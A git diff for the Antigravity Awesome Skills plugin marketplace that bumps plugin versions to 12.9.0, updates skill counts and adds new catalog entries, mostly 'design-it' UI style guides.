diff --git a/antigravity-awesome-skills/.claude-plugin/marketplace.json b/antigravity-awesome-skills/.claude-plugin/marketplace.json index 24f99d3e..928873e4 100644 --- a/antigravity-awesome-skills/.claude-plugin/marketplace.json +++ b/antigravity-awesome-skills/.claude-plugin/marketplace.json @@ -6,12 +6,12 @@ }, "metadata": { "description": "Claude Code marketplace entries for the plugin-safe Antigravity Awesome Skills library and its compatible editorial bundles.", - "version": "12.8.0" + "version": "12.9.0" }, "plugins": [ { "name": "antigravity-awesome-skills", - "version": "12.8.0", + "version": "12.9.0", "description": "Expose the plugin-safe Claude Code subset of Antigravity Awesome Skills through a single marketplace entry.", "author": { "name": "sickn33 and contributors", @@ -31,7 +31,7 @@ }, { "name": "antigravity-bundle-essentials", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Essentials\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -51,7 +51,7 @@ }, { "name": "antigravity-bundle-security-engineer", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Security Engineer\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -71,7 +71,7 @@ }, { "name": "antigravity-bundle-security-developer", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Security Developer\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -91,7 +91,7 @@ }, { "name": "antigravity-bundle-web-wizard", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Web Wizard\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -111,7 +111,7 @@ }, { "name": "antigravity-bundle-web-designer", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Web Designer\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -131,7 +131,7 @@ }, { "name": "antigravity-bundle-full-stack-developer", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Full-Stack Developer\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -151,7 +151,7 @@ }, { "name": "antigravity-bundle-agent-architect", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Agent Architect\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -171,7 +171,7 @@ }, { "name": "antigravity-bundle-llm-application-developer", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"LLM Application Developer\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -191,7 +191,7 @@ }, { "name": "antigravity-bundle-indie-game-dev", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Indie Game Dev\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -211,7 +211,7 @@ }, { "name": "antigravity-bundle-python-pro", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Python Pro\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -231,7 +231,7 @@ }, { "name": "antigravity-bundle-typescript-javascript", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"TypeScript & JavaScript\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -251,7 +251,7 @@ }, { "name": "antigravity-bundle-systems-programming", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Systems Programming\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -271,7 +271,7 @@ }, { "name": "antigravity-bundle-startup-founder", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Startup Founder\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -291,7 +291,7 @@ }, { "name": "antigravity-bundle-business-analyst", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Business Analyst\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -311,7 +311,7 @@ }, { "name": "antigravity-bundle-marketing-growth", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Marketing & Growth\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -331,7 +331,7 @@ }, { "name": "antigravity-bundle-devops-cloud", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"DevOps & Cloud\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -351,7 +351,7 @@ }, { "name": "antigravity-bundle-observability-monitoring", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Observability & Monitoring\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -371,7 +371,7 @@ }, { "name": "antigravity-bundle-data-analytics", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Data & Analytics\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -391,7 +391,7 @@ }, { "name": "antigravity-bundle-data-engineering", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Data Engineering\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -411,7 +411,7 @@ }, { "name": "antigravity-bundle-creative-director", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Creative Director\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -431,7 +431,7 @@ }, { "name": "antigravity-bundle-qa-testing", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"QA & Testing\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -451,7 +451,7 @@ }, { "name": "antigravity-bundle-aas-web-app-builder", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"AAS Web App Builder\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -471,7 +471,7 @@ }, { "name": "antigravity-bundle-aas-product-design-studio", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"AAS Product Design Studio\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -491,7 +491,7 @@ }, { "name": "antigravity-bundle-aas-security-engineer", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"AAS Security Engineer\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -511,7 +511,7 @@ }, { "name": "antigravity-bundle-aas-secure-app-builder", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"AAS Secure App Builder\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -531,7 +531,7 @@ }, { "name": "antigravity-bundle-aas-documents-presentations", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"AAS Documents & Presentations\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -551,7 +551,7 @@ }, { "name": "antigravity-bundle-aas-data-analytics", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"AAS Data Analytics\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -571,7 +571,7 @@ }, { "name": "antigravity-bundle-aas-agent-mcp-builder", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"AAS Agent & MCP Builder\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -591,7 +591,7 @@ }, { "name": "antigravity-bundle-aas-oss-maintainer", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"AAS OSS Maintainer\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -611,7 +611,7 @@ }, { "name": "antigravity-bundle-aas-qa-test-automation", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"AAS QA & Test Automation\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -631,7 +631,7 @@ }, { "name": "antigravity-bundle-aas-devops-cloud", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"AAS DevOps & Cloud\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -651,7 +651,7 @@ }, { "name": "antigravity-bundle-aas-marketing-seo-growth", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"AAS Marketing, SEO & Growth\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -671,7 +671,7 @@ }, { "name": "antigravity-bundle-aas-automation-builder", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"AAS Automation Builder\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -691,7 +691,7 @@ }, { "name": "antigravity-bundle-aas-observability-ir", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"AAS Observability IR\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -711,7 +711,7 @@ }, { "name": "antigravity-bundle-aas-python-api-builder", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"AAS Python API Builder\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -731,7 +731,7 @@ }, { "name": "antigravity-bundle-aas-mobile-app-builder", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"AAS Mobile App Builder\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -751,7 +751,7 @@ }, { "name": "antigravity-bundle-mobile-developer", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Mobile Developer\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -771,7 +771,7 @@ }, { "name": "antigravity-bundle-integration-apis", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Integration & APIs\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -791,7 +791,7 @@ }, { "name": "antigravity-bundle-architecture-design", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Architecture & Design\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -811,7 +811,7 @@ }, { "name": "antigravity-bundle-ddd-evented-architecture", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"DDD & Evented Architecture\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -831,7 +831,7 @@ }, { "name": "antigravity-bundle-automation-builder", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Automation Builder\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -851,7 +851,7 @@ }, { "name": "antigravity-bundle-revops-crm-automation", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"RevOps & CRM Automation\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -871,7 +871,7 @@ }, { "name": "antigravity-bundle-commerce-payments", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Commerce & Payments\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -891,7 +891,7 @@ }, { "name": "antigravity-bundle-odoo-erp", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Odoo ERP\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -911,7 +911,7 @@ }, { "name": "antigravity-bundle-azure-ai-cloud", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Azure AI & Cloud\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -931,7 +931,7 @@ }, { "name": "antigravity-bundle-expo-react-native", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Expo & React Native\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -951,7 +951,7 @@ }, { "name": "antigravity-bundle-apple-platform-design", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Apple Platform Design\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -971,7 +971,7 @@ }, { "name": "antigravity-bundle-makepad-builder", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Makepad Builder\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -991,7 +991,7 @@ }, { "name": "antigravity-bundle-seo-specialist", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"SEO Specialist\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -1011,7 +1011,7 @@ }, { "name": "antigravity-bundle-documents-presentations", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"Documents & Presentations\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", @@ -1031,7 +1031,7 @@ }, { "name": "antigravity-bundle-oss-maintainer", - "version": "12.8.0", + "version": "12.9.0", "description": "Install the \"OSS Maintainer\" editorial skill bundle for Claude Code.", "author": { "name": "sickn33 and contributors", diff --git a/antigravity-awesome-skills/.claude-plugin/plugin.json b/antigravity-awesome-skills/.claude-plugin/plugin.json index 37502d5a..53daa388 100644 --- a/antigravity-awesome-skills/.claude-plugin/plugin.json +++ b/antigravity-awesome-skills/.claude-plugin/plugin.json @@ -1,7 +1,7 @@ { "name": "antigravity-awesome-skills", - "version": "12.8.0", - "description": "Plugin-safe Claude Code distribution of Antigravity Awesome Skills with 1,561 supported skills.", + "version": "12.9.0", + "description": "Plugin-safe Claude Code distribution of Antigravity Awesome Skills with 1,612 supported skills.", "author": { "name": "sickn33 and contributors", "url": "https://github.com/sickn33/antigravity-awesome-skills" diff --git a/antigravity-awesome-skills/.gitignore b/antigravity-awesome-skills/.gitignore index ecc002eb..af589d95 100644 --- a/antigravity-awesome-skills/.gitignore +++ b/antigravity-awesome-skills/.gitignore @@ -17,6 +17,11 @@ antigravity-awesome-skills-*.tgz .release-clone-*/ data/node_modules +# Generated skill registry outputs (maintainer-owned, never committed in PRs) +data/drift-baseline.json +data/registry-report.json +data/scores.json + # Temporary analysis and report files *_REPORT.md *_ANALYSIS*.md diff --git a/antigravity-awesome-skills/CATALOG.md b/antigravity-awesome-skills/CATALOG.md index 78a03b6a..8cc3b9fa 100644 --- a/antigravity-awesome-skills/CATALOG.md +++ b/antigravity-awesome-skills/CATALOG.md @@ -2,7 +2,7 @@ Generated at: 2026-02-08T00:00:00.000Z -Total skills: 1595 +Total skills: 1646 ## architecture (101) @@ -110,7 +110,7 @@ Total skills: 1595 | `workflow-patterns` | Use this skill when implementing tasks according to Conductor's TDD workflow, handling phase checkpoints, managing git commits for tasks, or understanding th... | | skill, implementing, tasks, according, conductor, tdd, handling, phase, checkpoints, managing, git, commits | | `zapier-make-patterns` | No-code automation democratizes workflow building. Zapier and Make (formerly Integromat) let non-developers automate business processes without writing code.... | zapier, make | zapier, make, no, code, automation, democratizes, building, formerly, integromat, let, non, developers | -## business (87) +## business (88) | Skill | Description | Tags | Triggers | | --- | --- | --- | --- | @@ -196,13 +196,14 @@ Total skills: 1595 | `startup-financial-modeling` | Build comprehensive 3-5 year financial models with revenue projections, cost structures, cash flow analysis, and scenario planning for early-stage startups. | startup, financial, modeling | startup, financial, modeling, year, models, revenue, projections, cost, structures, cash, flow, analysis | | `startup-metrics-framework` | Comprehensive guide to tracking, calculating, and optimizing key performance metrics for different startup business models from seed through Series A. | startup, metrics, framework | startup, metrics, framework, tracking, calculating, optimizing, key, performance, different, business, models, seed | | `steve-jobs` | Agente que simula Steve Jobs — cofundador da Apple, CEO da Pixar, fundador da NeXT, o maior designer de produtos tecnologicos da historia e o mais influente ... | persona, design-thinking, product, presentations | persona, design-thinking, product, presentations, steve, jobs, agente, que, simula, cofundador, da, apple | +| `tools-page-seo-optimizer` | Framework-agnostic SEO workflow for any site with multiple tool, product, or feature pages. Covers duplicate content, unique meta tags, heading hierarchy, in... | seo, tools-pages, product-pages, duplicate-content, content-registry, meta-tags, internal-linking, url-slugs, e-e-a-t, framework-agnostic | seo, tools-pages, product-pages, duplicate-content, content-registry, meta-tags, internal-linking, url-slugs, e-e-a-t, framework-agnostic, page, optimizer | | `warren-buffett` | Agente que simula Warren Buffett — o maior investidor do seculo XX e XXI, CEO da Berkshire Hathaway, discipulo de Benjamin Graham e socio intelectual de Char... | persona, investing, value-investing, business | persona, investing, value-investing, business, warren, buffett, agente, que, simula, maior, investidor, do | | `whatsapp-automation` | Automate WhatsApp Business tasks via Rube MCP (Composio): send messages, manage templates, upload media, and handle contacts. Always search tools first for c... | whatsapp | whatsapp, automation, automate, business, tasks, via, rube, mcp, composio, send, messages, upload | | `wordpress-centric-high-seo-optimized-blogwriting-skill` | Generate clean, human-sounding, SEO-optimized WordPress blog posts with optional Yoast metadata, JSON-LD schema markup, and image SEO planning. Supports modu... | writing, blog, seo, content, wordpress | writing, blog, seo, content, wordpress, centric, high, optimized, blogwriting, skill, generate, clean | | `xiaohongshu-content-strategist` | Create viral Xiaohongshu (小红书) content with platform-native strategy, save-rate optimization, trending formats, and search SEO for China's #1 lifestyle platf... | xiaohongshu, chinese-market, content-strategy, social-media, marketing, 红书, 小红书 | xiaohongshu, chinese-market, content-strategy, social-media, marketing, 红书, 小红书, content, strategist, viral, platform, native | | `youtube-seo-optimizer` | Generate complete YouTube & podcast SEO packages with live-researched keywords — titles, descriptions, tags, hashtags, chapters, and audit fixes. Use for new... | youtube, seo, optimizer | youtube, seo, optimizer, generate, complete, podcast, packages, live, researched, keywords, titles, descriptions | -## data-ai (297) +## data-ai (300) | Skill | Description | Tags | Triggers | | --- | --- | --- | --- | @@ -334,6 +335,9 @@ Total skills: 1595 | `database-design` | Database design principles and decision-making. Schema design, indexing strategy, ORM selection, serverless databases. | database | database, principles, decision, making, schema, indexing, orm, selection, serverless, databases | | `database-optimizer` | Expert database optimizer specializing in modern performance tuning, query optimization, and scalable architectures. | database, optimizer | database, optimizer, specializing, performance, tuning, query, optimization, scalable, architectures | | `dbt-transformation-patterns` | Production-ready patterns for dbt (data build tool) including model organization, testing strategies, documentation, and incremental processing. | dbt, transformation | dbt, transformation, data, including, model, organization, testing, documentation, incremental, processing | +| `design-it/ai-native-ui` | Web and App implementation guide for AI Native UI. Trigger when user wants conversational interfaces, adaptive layouts, and generative AI aesthetics. | it/ai, native, ui | it/ai, native, ui, ai, web, app, trigger, user, wants, conversational, interfaces, adaptive | +| `design-it/dashboard-design` | Web and App implementation guide for Dashboard Design. Trigger when user wants analytics-focused layouts, data visualization, and modular overview screens. | it/dashboard | it/dashboard, dashboard, web, app, trigger, user, wants, analytics, layouts, data, visualization, modular | +| `design-it/data-dense-design` | Web and App implementation guide for Data-Dense Design. Trigger when user wants professional tools, maximum information density, and expert interfaces (like ... | it/data, dense | it/data, dense, data, web, app, trigger, user, wants, professional, maximum, information, density | | `django-perf-review` | Django performance code review. Use when asked to "review Django performance", "find N+1 queries", "optimize Django", "check queryset performance", "database... | django, perf | django, perf, review, performance, code, asked, find, queries, optimize, check, queryset, database | | `documentation-generation-doc-generate` | You are a documentation expert specializing in creating comprehensive, maintainable documentation from code. Generate API docs, architecture diagrams, user g... | documentation, generation, doc, generate | documentation, generation, doc, generate, specializing, creating, maintainable, code, api, docs, architecture, diagrams | | `documentation-templates` | Documentation templates and structure guidelines. README, API docs, code comments, and AI-friendly documentation. | documentation | documentation, structure, guidelines, readme, api, docs, code, comments, ai, friendly | @@ -504,7 +508,7 @@ Total skills: 1595 | `yes-md` | 6-layer AI governance: safety gates, evidence-based debugging, anti-slack detection, and machine-enforced hooks. Makes AI safe, thorough, and honest. | yes, md | yes, md, layer, ai, governance, safety, gates, evidence, debugging, anti, slack, detection | | `youtube-automation` | Automate YouTube tasks via Rube MCP (Composio): upload videos, manage playlists, search content, get analytics, and handle comments. Always search tools firs... | youtube | youtube, automation, automate, tasks, via, rube, mcp, composio, upload, videos, playlists, search | -## development (228) +## development (231) | Skill | Description | Tags | Triggers | | --- | --- | --- | --- | @@ -512,6 +516,7 @@ Total skills: 1595 | `algolia-search` | Expert patterns for Algolia search implementation, indexing strategies, React InstantSearch, and relevance tuning | algolia, search | algolia, search, indexing, react, instantsearch, relevance, tuning | | `android-dev` | Production-grade Android app development guide covering native (Kotlin/Java), cross-platform (Flutter, RN, KMM), and hybrid architectures. | android, dev | android, dev, grade, app, development, covering, native, kotlin, java, cross, platform, flutter | | `android-jetpack-compose-expert` | Expert guidance for building modern Android UIs with Jetpack Compose, covering state management, navigation, performance, and Material Design 3. | android, jetpack, compose | android, jetpack, compose, guidance, building, uis, covering, state, navigation, performance, material | +| `android-ui-journey-testing` | XML-specified Android UI journey testing, interactive step execution, assertion verification, and JSON outcome reporting. | android, journey-testing, ui-verification, testing, adb, automation | android, journey-testing, ui-verification, testing, adb, automation, ui, journey, xml, specified, interactive, step | | `android_ui_verification` | Automated end-to-end UI testing and verification on an Android Emulator using ADB. | android_ui_verification | android_ui_verification, android, ui, verification, automated, testing, emulator, adb | | `animejs-animation` | Advanced JavaScript animation library skill for creating complex, high-performance web animations. | animejs, animation | animejs, animation, javascript, library, skill, creating, complex, high, performance, web, animations | | `api-design-principles` | Master REST and GraphQL API design principles to build intuitive, scalable, and maintainable APIs that delight developers and stand the test of time. | api, principles | api, principles, rest, graphql, intuitive, scalable, maintainable, apis, delight, developers, stand, test | @@ -580,6 +585,8 @@ Total skills: 1595 | `dbos-golang` | Guide for building reliable, fault-tolerant Go applications with DBOS durable workflows. Use when adding DBOS to existing Go code, creating workflows and ste... | dbos, golang | dbos, golang, building, reliable, fault, tolerant, go, applications, durable, adding, existing, code | | `dbos-python` | Guide for building reliable, fault-tolerant Python applications with DBOS durable workflows. Use when adding DBOS to existing Python code, creating workflows... | dbos, python | dbos, python, building, reliable, fault, tolerant, applications, durable, adding, existing, code, creating | | `dbos-typescript` | Guide for building reliable, fault-tolerant TypeScript applications with DBOS durable workflows. Use when adding DBOS to existing TypeScript code, creating w... | dbos, typescript | dbos, typescript, building, reliable, fault, tolerant, applications, durable, adding, existing, code, creating | +| `design-it` | Routes frontend design tasks to 48 specific UI styles. Triggers for websites, app screens, or UI components requesting a specific aesthetic. | design, ui, frontend | design, ui, frontend, routes, tasks, 48, specific, styles, triggers, websites, app, screens | +| `design-it/widget-based-design` | Web and App implementation guide for Widget-Based Design. Trigger when user wants modular blocks, iOS Home Screen aesthetics, and customizable mini-apps. | it/widget, based | it/widget, based, widget, web, app, trigger, user, wants, modular, blocks, ios, home | | `design-taste-frontend` | Use when building high-agency frontend interfaces with strict design taste, calibrated color, responsive layout, and motion rules. | frontend, design, ui, react | frontend, design, ui, react, taste, building, high, agency, interfaces, strict, calibrated, color | | `devcontainer-setup` | Creates devcontainers with Claude Code, language-specific tooling (Python/Node/Rust/Go), and persistent volumes. Use when adding devcontainer support to a pr... | devcontainer, setup | devcontainer, setup, creates, devcontainers, claude, code, language, specific, tooling, python, node, rust | | `development` | Comprehensive web, mobile, and backend development workflow bundling frontend, backend, full-stack, and mobile development skills for end-to-end application ... | | development, web, mobile, backend, bundling, frontend, full, stack, skills, application, delivery | @@ -754,7 +761,7 @@ Total skills: 1595 | `seo-plan` | Strategic SEO planning for new or existing websites. Industry-specific templates, competitive analysis, content strategy, and implementation roadmap. Use whe... | seo, plan | seo, plan, strategic, planning, new, existing, websites, industry, specific, competitive, analysis, content | | `yann-lecun-filosofia` | Sub-skill filosófica e pedagógica de Yann LeCun. | persona, ai-philosophy, open-source, education | persona, ai-philosophy, open-source, education, yann, lecun, filosofia, sub, skill, filos, fica, pedag | -## general (398) +## general (441) | Skill | Description | Tags | Triggers | | --- | --- | --- | --- | @@ -867,6 +874,49 @@ Total skills: 1595 | `debugging-toolkit-smart-debug` | Use when working with debugging toolkit smart debug | debugging, debug | debugging, debug, toolkit, smart, working | | `deep-research` | Run autonomous research tasks that plan, search, read, and synthesize information into comprehensive reports. | deep, research | deep, research, run, autonomous, tasks, plan, search, read, synthesize, information, reports | | `defuddle` | Extract clean markdown content from web pages using Defuddle CLI, removing clutter and navigation to save tokens. Use instead of WebFetch when the user provi... | defuddle | defuddle, extract, clean, markdown, content, web, pages, cli, removing, clutter, navigation, save | +| `design-it/3d-ui` | Web and App implementation guide for 3D UI. Trigger when user wants actual 3D objects, perspective effects, and spatial depth. | it/3d, ui | it/3d, ui, 3d, web, app, trigger, user, wants, actual, objects, perspective, effects | +| `design-it/aurora-ui` | Web and App implementation guide for Aurora UI. Trigger when user wants gradient glows, color blobs, and atmospheric lighting effects. | it/aurora, ui | it/aurora, ui, aurora, web, app, trigger, user, wants, gradient, glows, color, blobs | +| `design-it/bento-ui` | Web and App implementation guide for Bento UI. Trigger when user wants modular grid cards, Apple-like dashboard style, or sections arranged like a bento box. | it/bento, ui | it/bento, ui, bento, web, app, trigger, user, wants, modular, grid, cards, apple | +| `design-it/brutalism` | Web and App implementation guide for Brutalism. Trigger when user wants a raw appearance, intentionally unfinished look, and rejection of standard design con... | it/brutalism | it/brutalism, brutalism, web, app, trigger, user, wants, raw, appearance, intentionally, unfinished, look | +| `design-it/brutalist-typography` | Web and App implementation guide for Brutalist Typography. Trigger when user wants huge fonts, raw presentation, and aggressive layout decisions. | it/brutalist, typography | it/brutalist, typography, brutalist, web, app, trigger, user, wants, huge, fonts, raw, presentation | +| `design-it/card-based-design` | Web and App implementation guide for Card-Based Design. Trigger when user wants information cards, Pinterest-style layouts, and bite-sized content containers. | it/card, based | it/card, based, card, web, app, trigger, user, wants, information, cards, pinterest, style | +| `design-it/claymorphism` | Web and App implementation guide for Claymorphism. Trigger when user wants soft 3D elements, rounded shapes, and a playful, tactile appearance. | it/claymorphism | it/claymorphism, claymorphism, web, app, trigger, user, wants, soft, 3d, elements, rounded, shapes | +| `design-it/color-blocking` | Web and App implementation guide for Color Blocking. Trigger when user wants large color sections, striking layout divisions, and Mondrian-style grids. | it/color, blocking | it/color, blocking, color, web, app, trigger, user, wants, large, sections, striking, layout | +| `design-it/cyber-y2k` | Web and App implementation guide for Cyber Y2K. Trigger when user wants modern Y2K, holographic visuals, and glitch aesthetics. | it/cyber, y2k | it/cyber, y2k, cyber, web, app, trigger, user, wants, holographic, visuals, glitch, aesthetics | +| `design-it/cyberpunk-ui` | Web and App implementation guide for Cyberpunk UI. Trigger when user wants neon colors, dark backgrounds, high-tech dystopian aesthetics, and hacking interfa... | it/cyberpunk, ui | it/cyberpunk, ui, cyberpunk, web, app, trigger, user, wants, neon, colors, dark, backgrounds | +| `design-it/dark-mode` | Web and App implementation guide for Dark Mode Design. Trigger when user wants dark surfaces, reduced eye strain, and premium sleek aesthetics. | it/dark, mode | it/dark, mode, dark, web, app, trigger, user, wants, surfaces, reduced, eye, strain | +| `design-it/duotone-design` | Web and App implementation guide for Duotone Design. Trigger when user wants two-color schemes, striking imagery, and Spotify-like playlist aesthetics. | it/duotone | it/duotone, duotone, web, app, trigger, user, wants, two, color, schemes, striking, imagery | +| `design-it/editorial-design` | Web and App implementation guide for Editorial Design. Trigger when user wants a magazine-inspired layout, large headlines, and elegant typography pairing. | it/editorial | it/editorial, editorial, web, app, trigger, user, wants, magazine, inspired, layout, large, headlines | +| `design-it/flat-design` | Web and App implementation guide for the Flat Design style. Trigger when the user wants no shadows, simple shapes, and bold colors. | it/flat | it/flat, flat, web, app, style, trigger, user, wants, no, shadows, simple, shapes | +| `design-it/flat-design-2` | Web and App implementation guide for Flat Design 2.0 (Semi-Flat). Trigger when the user wants flat design with subtle shadows and improved usability. | it/flat, 2 | it/flat, 2, flat, web, app, semi, trigger, user, wants, subtle, shadows, improved | +| `design-it/floating-ui` | Web and App implementation guide for Floating UI. Trigger when user wants detached cards, elevated components, and a light, airy feel. | it/floating, ui | it/floating, ui, floating, web, app, trigger, user, wants, detached, cards, elevated, components | +| `design-it/frutiger-aero` | Web and App implementation guide for Frutiger Aero. Trigger when user wants glossy gradients, early 2000s nature-inspired tech, glass, and water motifs. | it/frutiger, aero | it/frutiger, aero, frutiger, web, app, trigger, user, wants, glossy, gradients, early, 2000s | +| `design-it/glassmorphism` | Web and App implementation guide for Glassmorphism. Trigger when user wants a frosted glass effect, blurred backgrounds, transparency, or a sleek MacOS-like ... | it/glassmorphism | it/glassmorphism, glassmorphism, web, app, trigger, user, wants, frosted, glass, effect, blurred, backgrounds | +| `design-it/gradient-design` | Web and App implementation guide for Gradient Design. Trigger when user wants heavy gradient usage, vibrant transitions, and modern energetic feels. | it/gradient | it/gradient, gradient, web, app, trigger, user, wants, heavy, usage, vibrant, transitions, energetic | +| `design-it/high-contrast` | Web and App implementation guide for High Contrast Design. Trigger when user wants accessibility-focused design, extreme legibility, or stark visual impact. | it/high, contrast | it/high, contrast, high, web, app, trigger, user, wants, accessibility, extreme, legibility, stark | +| `design-it/holographic-ui` | Web and App implementation guide for Holographic UI. Trigger when user wants light-based appearance, projected interfaces, and transparent floating elements. | it/holographic, ui | it/holographic, ui, holographic, web, app, trigger, user, wants, light, appearance, projected, interfaces | +| `design-it/isometric-design` | Web and App implementation guide for Isometric Design. Trigger when user wants angled 3D appearances without vanishing points, often used for technical illus... | it/isometric | it/isometric, isometric, web, app, trigger, user, wants, angled, 3d, appearances, without, vanishing | +| `design-it/layered-design` | Web and App implementation guide for Layered Design. Trigger when user wants multiple depth levels, floating panels, and overlapping content. | it/layered | it/layered, layered, web, app, trigger, user, wants, multiple, depth, levels, floating, panels | +| `design-it/material-design` | Web and App implementation guide for Material Design. Trigger when user wants Google's aesthetic, elevation, motion, and consistent components. | it/material | it/material, material, web, app, trigger, user, wants, google, aesthetic, elevation, motion, consistent | +| `design-it/maximalism` | Web and App implementation guide for Controlled Maximalism. Trigger when user wants lots of elements, dense content, but a highly curated and artistic presen... | it/maximalism | it/maximalism, maximalism, web, app, controlled, trigger, user, wants, lots, elements, dense, content | +| `design-it/minimalism` | Web and App implementation guide for the Minimalism design style. Trigger when the user wants simple layouts, lots of whitespace, few colors, and clear hiera... | it/minimalism | it/minimalism, minimalism, web, app, style, trigger, user, wants, simple, layouts, lots, whitespace | +| `design-it/monochromatic-ui` | Web and App implementation guide for Monochromatic UI. Trigger when user wants a single-color palette, high elegance, and strict color discipline. | it/monochromatic, ui | it/monochromatic, ui, monochromatic, web, app, trigger, user, wants, single, color, palette, high | +| `design-it/neo-brutalism` | Web and App implementation guide for Neo-Brutalism. Trigger when user wants thick borders, hard shadows, bright colors, and a playful yet structured look. 